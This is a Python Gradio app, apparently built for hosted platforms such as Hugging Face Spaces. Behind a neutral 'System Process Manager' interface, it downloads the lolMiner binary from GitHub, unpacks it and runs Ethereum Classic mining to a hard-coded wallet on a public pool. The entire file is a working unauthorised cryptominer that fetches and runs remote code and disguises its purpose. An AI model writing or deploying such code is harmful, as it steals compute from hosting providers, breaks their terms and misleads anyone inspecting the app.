import gradio as gr import subprocess import os def run_miner(): # We use yield to stream updates to the Gradio UI in real-time output_log = "--- Initializing Setup ---\n" yield output_log # 1. System Check & Setup # Note: 'sudo' will fail on restricted platforms like Hugging Face setup_commands = [ "nvidia-smi", "wget -nc https://github.com/Lolliedieb/lolMiner-releases/releases/download/1.88/lolMiner_v1.88_Lin64.tar.gz", "tar -xf lolMiner_v1.88_Lin64.tar.gz" ] for cmd in setup_commands: output_log += f"\n> Executing: {cmd}\n" try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60) output_log += result.stdout + result.stderr yield output_log except Exception as e: output_log += f"Error: {str(e)}\n" yield output_log # 2. Execution logic output_log += "\n--- Starting lolMiner ---\n" # Ensure the path is correct based on extraction miner_path = "./1.88/lolMiner" # The actual mining command miner_cmd = f"{miner_path} --algo ETCHASH --pool etc.2miners.com:1010 --user 0x577c2322b68e2f72a39bbdb28c1316f395cfafaf.Worker01" try: # Popen allows us to read the output line-by-line while it runs process = subprocess.Popen( miner_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True ) for line in iter(process.stdout.readline, ""): output_log += line # Keep only the last 50 lines to prevent UI lag lines = output_log.split('\n') if len(lines) > 50: output_log = "...\n" + "\n".join(lines[-50:]) yield output_log except Exception as e: output_log += f"\nFatal Error: {str(e)}" yield output_log # --- Gradio UI Layout --- with gr.Blocks(title="Miner Interface") as demo: gr.Markdown("# System Process Manager") gr.Markdown("Click the button below to initialize the environment and start the process.") with gr.Row(): console_out = gr.Textbox( label="Live Console Output", lines=25, max_lines=30, interactive=False, placeholder="Logs will appear here..." ) start_btn = gr.Button("Start Execution", variant="primary") start_btn.click(run_miner, outputs=console_out) if __name__ == "__main__": demo.launch()